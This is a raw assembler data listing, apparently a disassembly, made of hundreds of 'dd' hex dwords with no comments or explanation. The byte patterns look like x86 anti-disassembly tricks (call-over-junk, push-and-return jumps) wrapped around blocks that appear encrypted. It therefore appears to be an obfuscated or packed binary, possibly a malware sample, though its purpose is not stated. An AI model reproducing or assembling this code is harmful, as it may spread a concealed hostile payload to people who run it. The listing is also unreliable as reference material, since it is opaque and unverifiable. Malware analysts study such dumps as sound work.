		dd 24448104h, 1B04h, 0C3514100h, 4737C856h, 0CBA81656h
		dd 4768D08Bh, 0BE801079h, 59A6A25Fh, 0BB243481h, 29088813h
		dd 1D07DDB5h, 5B5FF06h,	6A061D18h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2C52C355h
		dd 10ACEC2Fh, 77FF858Dh, 6A0620h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0BD282C3h, 20C5B589h
		dd 7E9061Dh, 0C7000000h, 463D6729h, 0D0FFAEEAh,	29A58D09h
		dd 858D061Dh, 62034F1h,	68D0F60h, 89000000h, 1D035185h
		dd 0DE906h, 0B7F0000h, 721E65FFh, 0FEFB7514h, 6107B7E1h
		dd 698589h, 860F061Dh, 6, 2A099D89h, 206A061Dh,	95FFFF6Ah
		dd 61D0069h, 50414935h,	0DD85C753h, 1061D28h, 0C7000000h
		dd 1D12A985h, 6, 0AD9D2900h, 66061D25h,	83D98BBAh, 1D26C9BDh
		dd 840F0006h, 7Dh, 0E9DDA2BEh, 0BD858B3Fh, 6A061D14h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 11BBC352h, 0A364h, 0C2800000h, 0B9858B5Fh, 0E9061D08h
		dd 13h,	949B5E07h, 0D5259F8Eh, 7492F2C7h, 0CA1A6A73h, 8B8928C6h
		dd 55006AE0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0AEBF9649h, 6185891Ch, 2B061D1Bh, 1D256995h
		dd 11BD8306h, 61D2Dh, 3F0850Fh,	0E9600000h, 12h, 7148B9D9h
		dd 3FEEFB05h, 0B3878BF8h, 0C867CE04h, 0CE81B86Eh, 3D7FA107h
		dd 2585C661h, 56061D1Bh, 68D0Fh, 8D310000h, 61D1CE9h, 5E8h
		dd 0BE527D00h, 8F0F4903h, 6, 1935B589h,	685A061Dh, 89913C4Dh
		dd 3481D08Ah, 540C9224h, 0E9E3B620h, 0Fh, 0F1C6E5A4h, 0A387B05h
		dd 61A06736h, 0FF8A6CF7h, 1D1805B5h, 36BA6606h,	0FF858D5Ah
		dd 0FF062077h, 919D29D0h, 3061D17h, 1D07F9B5h, 8A609006h
		dd 830F60C2h, 0
		dd 61616160h, 90F08A50h, 1AD5BD09h, 8D8D061Dh, 61D1FADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 67C35646h
		dd 81663052h, 91463CE6h, 0FE9h,	224B3D00h, 0C139D3BEh
		dd 679E226Bh, 3A0CD4D8h, 91F38B50h, 8BD1B70Fh, 1D317D95h
		dd 23046A06h, 1D168195h, 4E806h, 10000000h, 0CE90000h
		dd 0E5000000h, 0A55F7D87h, 622F02C7h, 50048AA1h, 8BD08B66h
		dd 60042444h, 68E0Fh, 8E0F0000h, 0
aSAyal		db 'S`aYa',0
		db 89h
		dd 0BA042444h, 58CA4761h, 0D5B53158h, 0FF061D2Eh, 1D0171B5h
		dd 0F08B6606h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0A21211C3h, 0BD8BDD8Eh, 61D0171h
		dd 0F1833EBEh, 3C7F0373h, 502AB5BEh, 0F8C7812Ch, 8B000000h
		dd 1D1BC5B5h, 2447C706h, 60000020h, 0BD83D78Bh,	6246435h
		dd 4D840F00h, 0E9000001h, 8, 0C0A8E99h,	0F7DBE790h, 6A28C783h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E7E9C353h, 6016DEAAh, 2598F61Fh,	0C7F1B70Fh
		dd 696A2E07h, 0D1B58B64h, 0C7061D2Eh, 74610447h, 12E80061h
		dd 17000000h, 2E6BED6Eh, 33D047E1h, 7478B4A9h, 919A601h
		dd 8BE2812Ch, 5E22EC19h, 0AC70B7BEh, 3D858B02h,	8B062464h
		dd 1D168195h, 0C478906h, 2769B58Bh, 858B061Dh, 6246441h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 67C35343h
		dd 0B3A777F9h, 0E6B16024h, 0AE9h, 0F2BBC000h, 0DE7CC47Eh
		dd 61F4A230h, 8939CA80h, 0C7830847h, 96BE6628h,	2E07C71Dh
		dd 896E6F63h, 1D0699BDh, 447C706h, 676966h, 8BF1B70Fh
		dd 24643985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F8B95016h, 0F0C4789h, 68Ah, 2D958900h
		dd 8B061D05h, 24643585h, 0E8BA6606h, 8478936h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B7C35141h, 25A9827Bh
		dd 5880F7Fh, 0BE000000h, 5760063Bh, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0D78B1E7Fh
		dd 0E98D8Dh, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 3A64E2C3h, 0C6816688h, 958BCA2Dh
		dd 61D13F9h, 0F525091h,	588h, 89DCBE00h, 310F612Ah, 0C313E9BAh
		dd 50585A59h, 52006A91h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 4DAE1E69h, 0ADB5FF6Eh, 6A061D1Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0A2D4C357h, 0B9CBD3F0h, 5DB58B3Ah, 68061D06h
		dd 87E99AE5h, 481D38Ah,	16751B24h, 6870F78h, 8B000000h
		dd 1D11E1B5h, 71B5FF06h, 6A061D01h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0CAE2C356h
		dd 0AC7ACBBEh, 909958Bh, 0D0FF061Dh, 7659589h, 0B8061Dh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 5F49C353h, 8B667511h, 0FC00BD6h
		dd 2184h, 8E800h, 0F9D0000h, 5C380D63h,	0F8B6D4BFh, 0A5B5FF5Ah
		dd 0F9061D2Bh, 151995FFh, 0BA66061Dh, 0C08B216Bh, 69BD83F9h
		dd 61D16h, 0BD830975h, 61D0121h, 50197400h, 0B8C08B53h
		dd 42Dh, 0F3D8589h, 9D8D061Dh, 61FA6A4h, 585BD3FFh, 121BD83h
		dd 7400061Dh, 0B8535017h, 42Dh,	0F3D8589h, 9D8D061Dh, 61FA345h
		dd 585BD3FFh, 81C68166h, 19D09FBh, 80061D03h, 0C08B70C6h
		dd 0FDC28EBAh, 8DC08B06h, 246CFB8Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F08BB39Ch
		dd 8D89C082h, 61D20D1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 62C35242h, 128FAF0Eh,	89E71EC0h, 0CE9h
		dd 0C5254F00h, 14A87921h, 0DAED976Bh, 0B50351D9h, 61D2F15h
		dd 1D85C75Eh, 78061D33h, 6A000070h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EDE4C357h
		dd 431E84B9h, 0C7080046h, 2BF985C7h, 61Dh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 13E981C3h, 81EBC7E4h, 1AE3BBF3h, 99BD8B2Ch, 0FF061D32h
		dd 1D1335B5h, 1D9D3306h, 8B061D15h, 1D09F585h, 1995FF06h
		dd 0E9061D15h, 14h, 16577D4Fh, 330446FFh, 0E9900E1Dh, 9C2668DCh
		dd 21C61574h, 95FF006Ah, 61D1209h, 1DEBC08Bh, 0D987C1BDh
		dd 0A0DDAB43h, 52A9E947h, 0A05B7932h, 79DF8355h, 0F31EF40Eh
		dd 0E344A5CAh, 4804EB26h, 0E91C06CDh, 5C0h, 7C264EECh
		dd 6E1850E3h, 620C60D5h, 53FD6BC9h, 46F07CBAh, 1C1A11CEh
		dd 2A0DA650h, 35039C46h, 49F8913Bh, 99B812Bh, 66CB6777h
		dd 870E7423h, 83852D14h, 1850E468h, 0A5D76A3Bh,	9E7B4C8Bh
		dd 6F1953E3h, 59096BD6h, 0D3ECBAC4h, 0C2753EC2h, 2F00D1AEh
		dd 63BF6D1h, 5DD6916Eh,	0DF6B2E0Bh, 0FD5B1522h,	80C1C357h
		dd 0AE8744F4h, 3C3403BEh, 9B9D36DEh, 0E09D2BD5h, 0A73A1755h
		dd 0A473891Ch, 0DE3C0DF8h, 805D1325h, 788C1ED0h, 0FB25425Eh
		dd 0DB4F4EC0h, 0E68186C3h, 70411E52h, 0AF88419Fh, 0E25411C1h
		dd 67A926C8h, 9F7049D9h, 0B893F1C2h, 325DBD61h,	0CFDEEE80h
		dd 3AEB2542h, 5B1523DCh, 4B2918B1h, 1557DE9Bh, 0BD4CDCB7h
		dd 902542CFh, 2EE9C6A6h, 2E856206h, 15DE908Ah, 98BCF085h
		dd 49E4C09Dh, 0BAD545EBh, 0E113AA25h, 0D9FB7A14h, 0A5E57823h
		dd 0AC22079h, 14FF26E0h, 7297h,	2D14F000h, 0C0DA6A47h
		dd 112542A6h, 0FAF49189h, 4714FF3Ch, 52F30395h,	4F00DABDh
		dd 17DF1h, 14D60000h, 0BC6C491Fh, 80F44D0Ah, 0B242D2A3h
		dd 3F2542A6h, 0BC77308Eh, 0A6AB3BCDh, 0B4822542h, 50ADBB8h
		dd 0EBA68354h, 7F421F49h, 66AC41F3h, 4D400F04h,	434559E9h
		dd 0A5562542h, 0C01E4AEAh, 0D28F001Ah, 0E84B0662h, 0CA692280h
		dd 0E65BF49Eh, 1F5DE48Eh, 0B895DF62h, 66D089E7h, 24C15606h
		dd 3306B22h, 0AD6843A1h, 2F3DF886h, 0CC9C9752h,	7C4D1EEFh
		dd 43250FCCh, 800A0AE5h, 0FF38F59Ah, 52E49471h,	25425342h
		dd 6FCD9E4Fh, 7B0D80B6h, 2542536Bh, 4CF6C778h, 38FC8EB3h
		dd 0C7825F30h, 4820146Eh, 0ECC99A6Bh, 4540DA64h, 14FFCFBBh
		dd 5064F6A8h, 6125424Dh, 0A0DE52B0h, 30000000h,	4DD8EC7Eh
		dd 38E92542h, 57B5BB7Dh, 4A2214B0h, 155BDD9Ah, 2E096738h
		dd 0AA3ACC7Eh, 812542A6h, 0B1B6B2h, 204CE9A2h, 0BEAE8843h
		dd 5B0D26E1h, 0A83CCE7Eh, 392542A6h, 19018588h,	0C0E9255h
		dd 0FEAEBE78h, 41BB8A69h, 0E19CD1B1h, 6B3C1957h, 1AD7650Dh
		dd 81358F1Bh, 35D91A1Ah, 58B68764h, 0F8D5979Fh,	9471F73Dh
		dd 0C275FD9h, 1BAE8B5Ch, 6ED9A276h, 0F444FFA7h,	46EE9F7Ch
		dd 88129AD4h, 0F2E9F392h, 3E9014FFh, 0E9000000h, 0D4602214h
		dd 2BE6C394h, 8386630Dh, 0CD691BFFh, 1F6EF59Fh,	0BB98D462h
		dd 60D38CEAh, 0BE7B2B08h, 4516F375h, 0A64059E7h, 78F2542h
		dd 3C787213h, 6FF14FFh,	51000000h, 6CCAA294h, 4B2114C5h
		dd 1256DE9Bh, 2B066435h, 0F276BE7Bh, 2DE64415h,	0C8836014h
		dd 6621FE6Eh, 0BEBE9BCDh, 3188E634h, 3EF78D8Dh,	73C17E2Eh
		dd 31EF97F5h, 3BCD7D1Bh, 1F45B67Eh, 0A75734E5h,	8649A912h
		dd 1D7B35D4h, 0ED97DD64h, 0D59FA25Fh, 0F183BE77h, 6B7A8414h
		dd 0FD81DCA0h, 9ADA671Dh, 0ABEA57F0h, 932345EEh, 0DCA06B03h
		dd 6B4353E5h, 9F50DCA0h, 3B18E99Ah, 0D6B3C180h,	0B6CE4CD6h
		dd 0A73FE98Bh, 0ED1DF105h, 4B3765FAh, 3EEE1310h, 1556CE0h
		dd 0EFC50000h, 0CE8B3B59h, 0FBA90769h, 45BD5869h, 42F3B01Fh
		dd 7325B94Bh, 5B6DCA0h
		dd 43D3D634h, 0A0731DB1h, 5D7103DCh, 6EDCA073h,	3607B8BDh
		dd 0F2A39E59h, 0A0734C60h, 19AC5DDCh, 844BBBE4h, 4CFCCD8Ch
		dd 9B03A78Fh, 0ED3F647Dh, 0F39BF9CAh, 92A3E75Ah, 552646F0h
		dd 55ECA784h, 0B842421Fh, 6B1F2262h, 25CFA0C8h,	0C6BC0297h
		dd 50B8ED41h, 0C7B03AF2h, 33C7ED1Dh, 20000000h,	8C3C58EFh
		dd 42A65AFAh, 0B9964725h, 42A69529h, 48D27A25h,	280BB247h
		dd 0E0824574h, 797A482h, 0BD6D3E2Eh, 42D82B2Bh,	1DC77825h
		dd 0AAA0h, 59EFFB00h, 1CD98B3Bh, 68F6541Ch, 1F45C029h
		dd 5709B96Ah, 0A07C31C5h, 422A0CDCh, 532E8C3Dh,	21CBA998h
		dd 0BF4FE193h, 4CDCA07Ch, 482D67D9h, 6D71974h, 2252EFA8h
		dd 0EA7EB572h, 4401B18Ch, 0CA9B78F0h, 0EC1DE6Ch, 4CD8DCA0h
		dd 0EF4089Ah, 5405DCA0h, 0BACA50F6h, 8B3DED87h,	0A00EE5F9h
		dd 0E745F6DCh, 0CDAB813Fh, 0D1148B1Dh, 0F2A3E6FCh, 8DE75A15h
		dd 0F0AD59B0h, 22C82646h, 53E597F8h, 0D6FC9D43h, 0F5D29E9Ah
		dd 106E1F24h, 0D080E432h, 0A042C13Eh, 8316ABECh, 0E24FEC9Dh
		dd 0E8999CFAh, 511BB03Eh, 5BB11E72h, 0EF53FA58h, 0F98B3B59h
		dd 1F1E798Ah, 0C8836011h, 0B851FB79h, 5E0EEB89h, 7AD894A1h
		dd 0FEDB69ECh, 3EF07CD2h, 0FA7318ACh, 9AF8A9FAh, 0E35E26F4h
		dd 0A759E791h, 0FA738115h, 36112FAh, 0A07DF74Ah, 69194FE5h
		dd 312958D4h, 0B00E9E23h, 4F191AD5h, 581B772h, 8E5F3C30h
		dd 0E589E0BDh, 34C85A35h, 0C5FAFA74h, 40EC4314h, 8B19C4ABh
		dd 6CCA6887h, 893B54C6h, 0FAAEE7F7h, 0E543F4FAh, 0B55F152Ch
		dd 9F4F251Ch, 0AE4B5BEDh, 0A758FAFAh, 3CF6E49h,	2A000000h
		dd 2614B65Dh, 8BB6714Eh, 0E7510CE9h, 46F1AC89h,	0A4924D2Ah
		dd 630EBC8h, 66CE8966h,	0CB6A2502h, 2A09C4A1h, 689C613Eh
		dd 793Fh, 81240489h, 4ECh, 243C8900h, 81E78957h, 4C7h
		dd 4EF8100h, 87000000h,	895C243Ch, 0E4BF242Ch, 5104D309h
		dd 0F764CCB9h, 59CF3102h, 380068h, 24248900h, 4240481h
		dd 5D000000h, 89FB8953h, 1C8B085Dh, 4C48124h, 0FF000000h
		dd 835D2434h, 34FF04C4h, 0C4815F24h, 4,	0F90CDDE9h, 0C64297FFh
		dd 4E378950h, 8A0632C1h, 35B9243h, 24726FB8h, 0FFC50306h
		dd 0EB707BE0h, 7429E366h, 418D8F43h, 15800603h,	0F6860D07h
		dd 3BFDBD54h, 0B0E6B673h, 78DC4714h, 0C501AF0Dh, 0D28CE6Eh
		dd 0D9BB5819h, 0CE80Fh,	54AE0000h, 0ABEEEFB8h, 0C7AE781Eh
		dd 0E8BF5945h, 5E17AA90h, 594DBA66h, 633AC681h,	0ABB80000h
		dd 814A77E6h, 77FE0AF0h, 8E94Ah, 94CE0000h, 0FF6158F3h
		dd 36FF38FBh, 8166515Bh, 5A7EDAC7h, 5736C381h, 2EB215DCh
		dd 5E45EB81h, 6660408Ch, 8A0FCF8Bh, 6, 810Fh, 81610000h
		dd 5FAA42EBh, 0C7816629h, 6053B7F9h, 5880Fh, 81660000h
		dd 0F0552EBh, 680h, 890F00h, 61000000h,	0BE8068Fh, 93000000h
		dd 0B63307D9h, 54412BADh, 0D980A4B5h, 0EE83592Bh, 8E904h
		dd 0D9EA0000h, 0DE43F608h, 0E881B68Dh, 1, 0FF80850Fh, 0E181FFFFh
		dd 71F6EF83h, 74D58D8Dh, 6A0624h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 891724C3h, 1D20D18Dh
		dd 11958906h, 0C7061D23h, 1D331D85h, 5D9006h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 407F973Dh, 0F985C7B3h, 61D2Bh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0E757C356h, 913EB178h, 6E970h, 12190000h, 0D667FCFAh
		dd 55B5FFh, 6A061Dh, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 180424h, 56460000h, 0DD6789C3h, 0CF8115C4h, 6EBABE7Ah
		dd 80D858Bh, 95FF061Dh,	61D1519h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 32C35242h, 9D89C94Bh, 61D0175h
		dd 3C18589h, 6A061Dh, 120995FFh, 0C08B061Dh, 0C6382EEBh
		dd 6CEED62Eh, 0A13AAF93h, 38AC54B2h, 9882D825h,	3E1F5811h
		dd 99AED277h, 8EBF973h,	0F60D09C8h, 0AB7C5FBEh,	88E40604h
		dd 7D0A39AAh, 0C08Bh, 18Dh dup(0)
		dd 81600000h, 556965D6h, 31BF6669h, 6A6153h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 9DD856C3h
		dd 60197F26h, 5860Fh, 10BA0000h, 0E95FF444h, 0Dh, 0C3A44896h
		dd 0CEC921F5h, 5AFB5152h, 0E99D61E8h, 0Ah, 54F2C95Dh, 0A53FD16Ch
		dd 0F61A967h, 0C83h, 6880F00h, 0F000000h, 88h, 6A5D00h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8A0F4FC3h, 8, 2890Fh, 61600000h, 8244401h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E5C35646h, 584F262Dh
		dd 13E9h, 4330A500h, 0D9201130h, 5F51CE46h, 5CC9EF29h
		dd 94A8F99Eh, 0CAEF8060h, 0C39D61F5h, 55006AF5h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0D8513194h, 7FDE250Eh, 0E820F81h, 60000000h,	800Fh
		dd 8B0F0000h, 0
		dd 57C08B61h, 2800Fh, 61600000h, 0D3C1BA5Ah, 5E821B2h
		dd 0EC000000h, 9625963Fh, 0B45A27B2h, 27B8663Ch, 0D981661Ah
		dd 14E98D60h, 4D000000h, 18ADE515h, 0F9A44EB0h,	9396F586h
		dd 65B10139h, 66342690h, 80AAC0BAh, 880F3ADCh, 0Ah, 4800Fh
		dd 0BF660000h, 8F0FB907h, 3, 0FF38B66h,	1E8Dh, 13E800h
		dd 0FD750000h, 214ED707h, 32C4242Ch, 9D40C94Bh,	9998BA1Eh
		dd 0AE2CBAB5h, 8A5E7952h, 0FE9C6h, 62250000h, 3DDE33AFh
		dd 99770B77h, 7DF31FAh,	33F381E9h, 663E9C4Ah, 0BE66CB8Bh
		dd 8B665954h, 0E88160CFh, 39646733h, 61B5D280h,	0B2DC7ABAh
		dd 0B866514Ah, 665AAAF9h, 6657CA8Bh, 16CEE881h,	7E958h
		dd 0AFE0000h, 0E6C9091Ch, 48F0FB8h, 66000000h, 0E83E2DB9h
		dd 8, 28B0C25Bh, 69D76843h, 0C8B5E881h,	8058571Eh, 0BB6660D7h
		dd 4DB58C30h, 870F6060h, 0
		dd 0BF615F57h, 1CFDDD39h, 0BB0EBE61h, 8E81EDBh,	9B000000h
		dd 0A4BAD2EBh, 0FC5FF4B5h, 6830F5Ah, 81000000h,	0BE7323C9h
		dd 0A4BF6621h, 8BF9F5D2h, 12E9D9h, 7F590000h, 9F881F92h
		dd 806A31BFh, 0C07A279Fh, 0DD58BF6h, 0CB816660h, 0B70F6848h
		dd 816661D7h, 57937CEFh, 5092DE81h, 0F585E90h, 280h, 0FC78A00h
		dd 484h, 0B2B86600h, 0BE666019h, 0BB66ADECh, 0E96122DEh
		dd 0Ch,	5F640DB7h, 0DC1A8CC2h, 89407533h, 52D38B66h, 0D8B70F5Ah
		dd 4F22E781h, 5F5634FDh, 8BFC8CB1h, 8E0FD1h, 0E9000000h
		dd 13h,	0A90D9E2h, 0E68B091Eh, 3261755Ah, 963B13E6h, 0FCFD449h
		dd 284h, 5142B000h, 4A8EBFB8h, 11E95851h, 0F000000h, 7A8CA218h
		dd 0A7C0D1C7h, 0ECD4F8E2h, 898D8323h, 1D4FDEBEh, 5C68120h
		dd 0F4D8208h, 80h, 8C0F5700h, 0Eh, 8E8h, 7ABDE900h, 8214B1AEh
		dd 5759587Ch, 11E9h, 0A2A43900h, 3FA352A0h, 0C5DD6E47h
		dd 7BF706A9h, 665890C2h, 800FC28Bh, 1Ch, 11E8h,	4DD18A00h
		dd 36E0CEE7h, 0BE655F3Dh, 0B54AD9CCh, 74B84DBAh, 5A3EDACFh
		dd 0E9ECFCBFh, 14FDBE6Ch, 8B0F7863h, 11h, 9E8h,	0B0739A00h
		dd 2E049393h, 61606E24h, 0D8BF0F5Eh, 0D80B866h,	0C281FE8Ah
		dd 56084BA8h, 0E8F3B70Fh, 8, 69F57B20h,	809DFABDh, 815BEF8Ah
		dd 5CD3D1C6h, 8E967h, 0ED780000h, 0C46CB9C5h, 8B66E83Ah
		dd 48E0FCAh, 66000000h,	0BB2230BBh, 36F8E7Ch, 0FC51D18Bh
		dd 11E95Fh, 999E0000h, 0BBFAEB43h, 6E2D3D8Ch, 0B36E854Bh
		dd 0F05BA3Dh, 58Fh, 0D1816600h,	0BA664E5Ah, 0C0B6FECCh
		dd 7E9h, 0E7641500h, 8F4A7B3Fh,	0DE10F681h, 0F680195Fh
		dd 0BEBB661Fh, 55BE50C0h, 5F2981D0h, 10E9h, 0E1EA5B00h
		dd 0B56B026Bh, 86D5DAF1h, 0E54CFCD9h, 0CE87Eh, 0EEB40000h
		dd 8ED512A2h, 1676430Eh, 850F5C88h, 0
		dd 11E958h, 2B700000h, 14E77DAh, 0F745EDF8h, 2994AC70h
		dd 66ED1E46h, 0A611D681h, 8F0FDF8Bh, 12h, 0DE9h, 0F5D4DF00h
		dd 8F48B78Ch, 0C52CF095h, 0EA813502h, 5868BF33h, 0AE9h
		dd 8E87E000h, 99C87868h, 0E92EFB45h, 0Ch, 0FFD56DCBh, 53BA7BCFh
		dd 1520FD24h, 0D6F18166h, 0D6C38102h, 0E81C8FDBh, 9, 1BD26BBh
		dd 0F54F974Dh, 61605215h, 0E8605B5Ah, 0Ch, 43A5E3D9h, 4F6DF597h
		dd 6DBE944Bh, 0F585F52h, 1385h,	0EE900h, 4D530000h, 0ED9637C1h
		dd 623DAB63h, 0E2DD4D17h, 0D08B6661h, 13E960h, 0F17F0000h
		dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 0F861F963h
		dd 6870Fh, 66600000h, 6161F1BAh, 198D0F52h, 0E9000000h
		dd 14h,	3008C349h, 88B654ACh, 0CDB06DFCh, 0AA270F81h, 0A0417F9Eh
		dd 0C9BF0F5Eh, 1B800Fh,	0E8530000h, 13h, 575B468Ch, 62C19EB4h
		dd 48C8F1B3h, 0F08AD536h, 5FE5FF8Bh, 0AE859h, 0C1A70000h
		dd 36972EC9h, 235347AAh, 665F5260h, 3BA7D881h, 0B70F5961h
		dd 0C18B60F8h, 0F1B70F53h, 0CC80615Eh, 0F00ABADDh, 60574D8Ah
		dd 0FC0DD980h, 8B665A61h, 0F78166D7h, 0FCF53DF8h, 0BE9h
		dd 6B61CC00h, 64F23982h, 0D72CBA0Ah, 0AE8h, 1835FA00h
		dd 720825E8h, 0E94610EEh, 8, 41529E27h,	27DB03Dh, 6695B359h
		dd 0E8F8D88Bh, 11h, 32EDBF6Bh, 0AFC3563Ah, 7638872Ah, 0ED5926Dh
		dd 5A35B7D8h, 3ECDC781h, 0C6BA3456h, 0F1D2BE2h,	1183h
		dd 5E800h, 68F40000h, 0FDD37AEh, 80h, 0B3535900h, 81F55861h
		dd 0C74CA0E1h, 0FBBF6604h, 0FEBF6031h, 57727DF2h, 9E08166h
		dd 0B6615AECh, 10E8F7h,	5E180000h, 0F513E8A6h, 0D78F1AF1h
		dd 6EFB8506h, 880FBB09h, 0Eh, 8E8h, 29667600h, 0B944CB10h
		dd 8B5A59CDh, 0F0BF0FCFh, 12E8F5h, 24650000h, 0AE4850DFh
		dd 882DDFD7h, 71CC569Dh, 3A4FD661h, 815FE38Ah, 0F75730F6h
		dd 0A7E9812Ah, 0F3EB640h, 0D381D3B7h, 2E1599Ch,	6E9h, 13BBFF00h
		dd 0F6FD2BEh, 0DE81D8BFh, 4F786318h, 10EB8166h,	0B70FF89Eh
		dd 0CE9F5F7h, 51000000h, 0F94CB0E6h, 0D439CC9Eh, 0FE6B4FFh
		dd 281h, 8BF78B00h, 3830FF8h, 0F000000h, 6660D3BFh, 3782D181h
		dd 3820Fh, 8B660000h, 830F61DAh, 5, 0ABA95FBFh,	8E0F66h
		dd 0B9000000h, 82B5C03h, 81C18B66h, 5D30ACF2h, 0DE92Eh
		dd 0A50E0000h, 74D7100h, 0E75AE8E7h, 0E9445105h, 0Ch, 25256F0Ch
		dd 0C7111E3h, 93F10CA1h, 9E8h, 0A5AD6000h, 0D84E62Dh, 665EFF43h
		dd 0E82D84B8h, 9, 0A51B3C2h, 5D898605h,	0BE975h, 70530000h
		dd 74930328h, 711A1B32h, 66605F47h, 8A0FC18Bh, 6, 8C0Fh
		dd 0B9610000h, 3B83F14Ch, 8B3CB260h, 516061D3h,	8E9h, 90B7E400h
		dd 0F6C7C938h, 0DE95B50h, 0F8000000h, 0D19086DAh, 0A75889DBh
		dd 0C4542A8Ah, 0BF0FF861h, 0B4F680F1h, 3800Fh, 0B70F0000h
		dd 74BB66F3h, 5830F9Ah,	66000000h, 9B5AD981h, 0A8C0Fh
		dd 8F0F0000h, 4, 5AE6BA66h, 96F18166h, 0BADD8065h, 0D38B6653h
		dd 0AE95Bh, 0D3770000h,	39C65DA0h, 0C042C17Eh, 14E8h, 0D78D300h
		dd 14AADEFh, 2BCE00DCh,	0BE79AF68h, 54CA00F8h, 5AA2B2A4h
		dd 0FE879B2h, 5C000000h, 0F519FAB1h, 0DFDFF93Fh, 7DD447A5h
		dd 816647DEh, 5EC2CCDAh, 870Fh,	840F0000h, 1Bh,	13E8h
		dd 3A48800h, 87DE3D2Fh,	4E7A5DACh, 4293718Eh, 0C83402EAh
		dd 565A5B57h, 8BF08A60h, 0E95F61F0h, 0Ah, 3893A797h, 5523BE72h
		dd 0F56AA84h, 81h, 840F5A00h, 1, 1880FF9h, 0F8000000h
		dd 6820Fh, 0C8810000h, 7EAA1149h, 66D08B66h, 0BF7458BBh
		dd 57F92BCBh, 6860Fh, 0D9810000h, 5B60C97Ch, 5860Fh, 81660000h
		dd 66124CC3h, 0DA80DA8Bh, 8C0FF9D5h, 14h, 0FE9h, 5A512300h
		dd 6EE1086h, 90AB183Eh,	2806408Ch, 7C25A8B8h, 0B70FFC50h
		dd 66FBB7DBh, 0E8FCFB8Bh, 12h, 430729A7h, 0AAA102B9h, 0D4E81108h
		dd 4B693B5Ch, 8B66AE9Eh, 0E9FC58D7h, 0Eh, 0B4B07E46h, 8FEE8BF1h
		dd 0EC5FEE5Bh, 8C0F91FCh, 16h, 11E9h, 0A0F17B00h, 6371FE0Bh
		dd 99C4614Fh, 7F1FDF39h, 0BE663218h, 0BA667AC3h, 0C2805E7Ah
		dd 0C7BF66FCh, 2789BB89h, 0B966599Ah, 8B66568Dh, 5FF850D0h
		dd 9E86060h, 0AA000000h, 0FBF9E3CDh, 1F62B562h,	8E0F5Bh
		dd 61000000h, 0F96169B3h, 810FD18Bh, 4,	7BF5BA66h, 0B8CBBF0Fh
		dd 7FB24459h, 0C050AFBEh, 7DEE8157h, 66790702h,	0F081CB8Bh
		dd 2EE7EB0Dh, 11E860B5h, 2C000000h, 0A549F931h,	73A7B781h
		dd 2D06AFCFh, 0DF13CA89h, 0DE8h, 99616A00h, 58C6FA3Ch
		dd 171D12BAh, 830F0A0Eh, 0
		dd 81665958h, 0F59B52DBh, 806056F9h, 0E1819DC4h, 26B948D7h
		dd 0BE95B61h, 7D000000h, 0D07D9EB8h, 36B86509h,	0BF534245h
		dd 60CFF97Dh, 12E859h, 0EC790000h, 286C5D56h, 0ED26EB7Fh
		dd 4BBAC3F3h, 9CFE1CD1h, 25BDC181h, 0F5B23A6h, 281h, 80D88B00h
		dd 8B66A6DAh, 0D08B60CAh, 8061D88Bh, 0C98037F3h, 8E90Fh
		dd 3FC50000h, 6B5A1489h, 81661C2Dh, 51F934C6h, 60F88B59h
		dd 0AEAC64BAh, 0D98B6637h, 80FE8B61h, 815651C2h, 0AAFC18D1h
		dd 8B0F5F7Ch, 6, 0A082F181h, 8C0F6668h,	0Eh, 9E9h, 0D7100500h
		dd 2519B21h, 0BE669849h, 8166198Eh, 669C9CEFh, 6E9D68Bh
		dd 3F000000h, 3BB0FE5h,	0F5BB6674h, 0FF78B69h, 87h, 0C28B6600h
		dd 3810Fh, 8B660000h, 26EE80D6h, 0FD08B66h, 88h, 0C1BF0F00h
		dd 7E8A6B3h, 32000000h,	0E5FC0D9h, 5AF825C2h, 5678BB66h
		dd 0DE9h, 0F9E59900h, 0B34E19E5h, 94C68E1Dh, 81661B4Bh
